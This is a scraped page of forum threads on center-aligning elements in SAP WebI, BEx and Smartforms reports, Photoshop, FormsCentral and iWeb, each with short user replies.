So we need the table to be center aligned (either to the page, report header, or another element would work for us) because it will have multiple (optional cells). Also, FYI, we can't just put it all in one forumla and let the cell content be centered... because we're actually embedding multiple hyperlinks in those other cells... in a borderless table... to get a centered block effect on the results.
Any suggestions? Only thing we've come up with is to insert padding cells that we set to Fixedsys fond and then calculate a space Fill() on based on the other results... but that's really messy and seems like overkill for something that's normally a "bread and butter" report building feature.

Hi Ray,
As I understand you want to Centre align the table , but when you select the table centre align feature is disabled and you can only align the text in the table.
You can use Relative Positioning Feature to align the Table in relation to the Bottom, top, Left and right edge of the report and other block. This feature allows user to fix the position of the table even if data in the table changes and auto-adjust the table position when block data or another block data changes.
You can manually drag the table to the centre of the report; set the alignment of the text to the centre, when your data changes the, WEBI wonu2019t change the position of the table nor it changes the text alignment.
Please paste the report data here so that I can understand how you want to display the table data and your statement u201Cwe put this data in a one row table with the "show when empty" feature disabled for the cells and "auto-fit width" turned on.
Do you have any other blocks of data in your reporting along with the table data that you want to centre align?
I Hope this Helpsu2026
Thanksu2026.
Pratik

Need to center align the headings in the BEX 7.0 report.

Need to center align the headings in the BEX 7.0 report. Also need to text wrap the headings in the BEX 7.0 report . Please let me know how do we do that?

Hi Srikanth,
Check this help doc on Report designer:
http://help.sap.com/saphelp_nw70/helpdata/en/43/8af9fecf797107e10000000a1553f7/frameset.htm
Bye
Dinesh
(Assign points if helpful)

Smartforms - Center Alignment in the cell

Hi
I have defined a label in the following format using Smartforms...
All the variables are contained within a template, which is in a loop
I see that the texts which are right to the bar code are coming at the top right corner..
http://img41.imageshack.us/img41/2193/label1present.png
How can I get them to right center alignment like the following image...
http://img193.imageshack.us/img193/4839/label1desired.png

Hi Grame,
You can create the 2 windows ,. one for bar code and another for that text.
Overlapp those wondows so that the text window will come at the place where u want.
Try if this is working.
Rgds,
Madhuri

Center alignment not working for all groups

We are trying to center our visual within our blank white canvas, and we have multiple groups within the file. See image attached. When we select all groups then hit the center alignment button, only the bottom group becomes centered and nothing else. When we try to select all layers within the first group and hit it, everything moves except the color mask which stays in the original place.
This seems to be a glitch or bug that it's not working automatically for everything.
~Katie

Ask in the PS forum and provide exact system and version info.
Mylenium

How do you center align a Text Field box?

The center align tool is grayed out.

Hi,
Sorry, formsCentral currently does not support alignment of the actual field box. You can select the different alignment choices for the text label of the field.
Thanks,
Lucia

Center-align iWeb pages?

Is there a code to use to center align an iWeb page, as in vertically, so that no matter what screen size/resolution you have, the page will stay in the middle of the browser, instead of at the top?

All objects on an iWeb page are fixed and do not move when a browser window is resized. The page itself is centered horizontally.
iWeb does not support vertically centered pages. And from other forums I gather it is not easily done with custom code.
But it can be done. Here's a custom page that centers and scales in all directions :
http://www.wyodor.net/Centered/
Study the code.
To make it work in iWeb you need a JavaScript and knowledge of how iWeb creates its pages.
Perhaps this page guides you in the direction you want. If you can resize the objects, you can resize the page vertically :
http://www.wyodor.net/Demo/Fancy/DynamicText.html

Css to center align

Similar Messages

Maybe you are looking for